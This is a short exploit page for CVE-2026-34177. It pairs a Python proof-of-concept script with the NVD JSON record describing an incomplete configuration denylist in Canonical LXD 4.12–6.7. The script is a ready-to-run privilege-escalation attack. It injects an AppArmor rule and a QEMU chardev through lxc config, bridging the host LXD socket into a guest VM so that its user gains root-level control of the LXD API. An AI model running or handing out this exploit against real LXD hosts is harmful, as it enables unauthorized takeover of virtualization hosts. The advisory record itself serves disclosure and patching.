CVE-2026-34177

#!/usr/bin/env python3 import subprocess import sys # Exploit for CVE-2026-34177: LXD Privilege Escalation via Config Injection # Target: Canonical LXD 4.12 <= 6.7 TARGET_VM = "target-vm" LXD_SOCKET_PATH = "/var/snap/lxd/common/lxd/unix.socket" def exploit(): print(f"[*] Attempting to exploit {TARGET_VM}...") # 1. Inject AppArmor rule to allow access to the LXD Unix socket # This overrides the security profile blocking the socket apparmor_payload = f"unix (connect, send, receive) type=stream addr=\"@{LXD_SOCKET_PATH}\"," print(f"[*] Injecting AppArmor rule: {apparmor_payload}") try: subprocess.run(["lxc", "config", "set", TARGET_VM, "raw.apparmor", apparmor_payload], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to set raw.apparmor: {e}") sys.exit(1) # 2. Inject QEMU configuration to bridge the socket into the VM # This creates a virtio-serial port connected to the host socket qemu_payload = f""" [chardev "lxd-sock"] path = "{LXD_SOCKET_PATH}" backend = "socket" [device "dev-lxd-sock"] driver = "virtio-serial-pci" [device "port-lxd-sock"] driver = "virtserialport" name = "org.linuxcontainers.lxd" chardev = "lxd-sock" """ print("[*] Injecting QEMU chardev configuration...") try: subprocess.run(["lxc", "config", "set", TARGET_VM, "raw.qemu.conf", qemu_payload], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to set raw.qemu.conf: {e}") sys.exit(1) # 3. Restart the VM to apply the configuration changes print(f"[*] Restarting {TARGET_VM} to apply changes...") try: subprocess.run(["lxc", "restart", TARGET_VM, "--force"], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to restart VM: {e}") sys.exit(1) print("[+] Exploit successful!") print(f"[+] The LXD Unix socket is now available inside the VM at /dev/virtio-ports/org.linuxcontainers.lxd") print("[+] You can now interact with the LXD API as root from within the VM.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-34177", "sourceIdentifier": "[email protected]", "published": "2026-04-09T10:16:21.653", "lastModified": "2026-04-22T20:57:22.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Canonical LXD versions 4.12 through 6.7 contain an incomplete denylist in isVMLowLevelOptionForbidden (lxd/project/limits/permissions.go), which omits raw.apparmor and raw.qemu.conf from the set of keys blocked under the restricted.virtual-machines.lowlevel=block project restriction. A remote attacker with can_edit permission on a VM instance in a restricted project can inject an AppArmor rule and a QEMU chardev configuration that bridges the LXD Unix socket into the guest VM, enabling privilege escalation to LXD cluster administrator and subsequently to host root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndIncluding": "5.0.6", "matchCriteriaId": "41A5CC7C-00BE-436D-957A-4636E52D0DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.21.0", "versionEndIncluding": "5.21.4", "matchCriteriaId": "92A82DF4-3ED9-47E0-BDF1-DB9138EE0883"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.7", "matchCriteriaId": "5C28FC63-0BE4-4B40-A87F-DF242AE33303"}]}]}], "references": [{"url": "https://github.com/canonical/lxd/pull/17909", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-fm2x-c5qw-4h6f", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-fm2x-c5qw-4h6f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}